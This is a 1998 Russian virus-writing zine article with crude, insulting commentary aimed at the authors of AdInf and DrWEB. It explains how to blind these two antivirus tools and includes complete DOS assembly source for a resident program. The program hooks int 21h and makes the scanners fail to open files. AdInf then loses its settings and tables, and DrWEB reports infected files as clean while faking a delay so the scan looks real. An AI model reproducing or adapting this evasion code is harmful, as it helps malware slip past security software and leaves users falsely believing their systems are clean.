COMMENT * //

      ▄▄                  █
     ▀▀▀  Virus Magazine  █ Box 176, Kiev 210, Ukraine      IV   1998
     ▀██ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ █ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀▀▀▐▀▀▀  █▀▀▀▀▀▀▀█
      ▐█ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▄█▄ ▄▀▀ █▀█    ▌ █ ▄▀█ █ ▄▀▀ █▄▄   █ █ ▀▀█ █
       █ █ █ █▀  █▀  █    █  █▀  █ █    █ █ █ █ █ █   █     █ █ ▄▄█ █
       █ ▐ ▐ ▐   ▐▄▄ ▐▄▄  ▐  ▐▄▄ ▐▄▀     ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄▄  █ █ █▄▄ █
       ▐ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  █▄▄▄▄▄▄▄█
          (C) Copyright, 1994-98, by STEALTH group WorldWide, unLtd.

  Рад приветствовать тебя со страниц нашего журнала еще раз, читатель!
  Сей пример еще раз показывает, насколько зажрались авторы примитивного
  "венерического софта-уебища" (c) Raccoon. Речь в этой статье статье
  пойдет о ревизоре диска AdInf и полифаге-полуфаке отца-героя муДанилова
  DrWEB. С остальными (AVP, F-Prot etc. не тестил, проверьте сами).

  "Боже жь мой!", как говорят у нас в Одессе ;-) AdInf диски через БИОСь
  читает, ни один вирус не ускользнет от зоркого глаза г-на (ни в коем
  случае не подумайте "господина" ;-) Мостового. Однако на глазу-то на
  этом, оказывается, слепое бельмо.
  AVPTSR при загрузке DrWEB'а: "опасный вызов: трассируется прерывание
  13h", "опасный вызов: трассируется прерывание 21h". "И долго он int'ы
  трассировал, теперь я грустный терминал..." (c) SSR. Hо, как уже давно
  известно всему миру вирмейкеров, прерывание получается в основном только
  у web'а, причем беременности, и разродится он может всего одной фразой -
  "- OK" :)

  Хватит трепа, перейдем к сути.

  В общем-то все уперлось в то, что эти гордецы, оттрассировав инты, файлы
  открывают просто

            ...
            mov ah,3dh
            mov dx,offset fname_to_open
            int 21h ; !!!
            ...

  Гениально, не правда ли? А теперь сам прикол:

  AdInf при инсталляции создает в каталоге, где находится сам, файл длиной
  ровно 4 кб, в котором в зашифрованном виде хранит информацию типа имен
  общих и личных таблиц и т.п. Hо если этот файл убиваешь, он тут же создает
  новый. Без комментариев пользователю :) С дефоултовыми значениями :)

  DrWEB содержит в своем каталоге .ini файл, что нам собственно пофигу.

  Теперь пару слов о том, что за исходник находится в конце этой статьи.
  Это HЕ вирус, это обычная резидентная программа, перехватывающая int 21h.

  А делает этот резидент вот что:
  1. Висит на int 21h
  2. Проверят, что за прога грузится.
  3. Если AdInf или DrWEB - не даем ему открыть файлы функцией 3dh.
  4. И все :-P

  И что самое прикольное, если не давать этим %$#@#^ файлы открывать,
  они делают вид, что они - навороченные шкафы, и упорно лезут дальше,
  считая, что все ОК-ОБ.

  AdInf не может открыть свой конфиг - соответственно теряет все опции.
  Hу а если даже его таблицы на компе назывались стандартно Adinf═?═.░░░,
  то нам это пофигу - он даже таблицу свою открыть не может, посему
  предлагает ее пересоздать :)

  DrWEB не может проверить ни себя, ни тебя, вообще ни хуя - даже если
  на винте зоопарк целый будет, он на все инфицированные файлы (даже
  вирусами, которые он знает и лечит) скажет "OK". И эвристик его тут
  ни при чем :)

  Теперь несколько комментариев: вебу stc перед выбрасыванием _ни в коем
  случае_ ставить не надо, а то он заорет "ошибка чтения!". А так молчит...
  В части, отвечающей за обламывание веб'а, такой наворот сделан для того,
  чтобы у юзера создавалось впечатление, что файл таки-проверяется (случай-
  ная задержка).
  Если будете гонять при активном резиденте веб, очень рекомендую поставить
  ему ключик /OK :)
  Проги AdInf.EXE и DrWEB.EXE могут называться как угодно, так что отлав-
  ливание по "cmp word ptr [es:di],'??'" скорее всего не сработает. Hо
  есть другой хинт: и AdInf и DrWEB первым делом после загрузки открывают
  файл с именем, таким же как у exe-шника, но расширением .ini (например,
  DrWEB называется Fucker.EXE, тогда он будет открывать файл Fucker.INI).
  Правда, так делают много программ, использующих .ini файлы, но немного
  из них int 21h и int 13h трассируют :) Так что простор для творчества
  есть.

                                               (c) Dirty Nazi / SGWW 1997

P.S. Выражаю благодарность Stalker'у за его идейку подключить сюда и
     DrWEB (в самом начале я написал сей резидент только для AdInf'а).

// *

.286
.model tiny
.code
org 100h
start:
        jmp real_start
int21h:
        cmp ax,1234h
        jnz @1
        mov ax,4321h
        retf 2
@1:
        cmp ah,4ch
        jnz @2
        mov byte ptr cs:[flag],0
        mov byte ptr cs:[flagw],0
@2:
        cmp ah,3dh
        jnz @3
cf:
        cmp byte ptr cs:[flag],1
        jnz @3
        cmp byte ptr cs:[flagw],1
        jz off
        jmp short offa
@3:
        cmp ah,4bh
        jnz quit
        push es
        push ds
        pusha
        pushf
        push ds
        pop es
        push dx
        pop di
        mov cx,40h
        mov al,'.'
        cld
        repne scasb
        jnz restore
        sub di,3
        cmp word ptr [es:di],'FN'
        jz @666
        cmp word ptr [es:di],'BE'
        jnz restore
        mov byte ptr cs:[flagw],1
@666:
        mov byte ptr cs:[flag],1
restore:
        popf
        popa
        pop ds
        pop es
quit:
        call old21h
        retf 2
old21h:
        pushf
        call dword ptr cs:[old_21h]
        ret
old_21h dd 0
flag    db 0
flagw   db 0
offa:
        stc
        retf 2
off:
        call old21h
        xchg ax,bx
        xor cx,cx
        xor dx,dx
        mov ax,4202h
        call old21h
        xchg cx,ax
@383:
        push cx
        mov cx,100h
        loop $
        pop cx
        loop @383

        mov ah,3eh
        call old21h
        retf 2
        db '(c) Dirty Nazi / SGWW 1997'

real_start:

        mov ax,1234h
        int 21h
        cmp ax,4321h
        jnz install
        ret
install:
        mov ax,3521h
        int 21h
        mov word ptr cs:[old_21h],bx
        mov word ptr cs:[old_21h+2],es
        mov dx,offset int21h
        mov ax,2521h
        int 21h
        mov dx,offset real_start
        inc dx
        int 27h
end start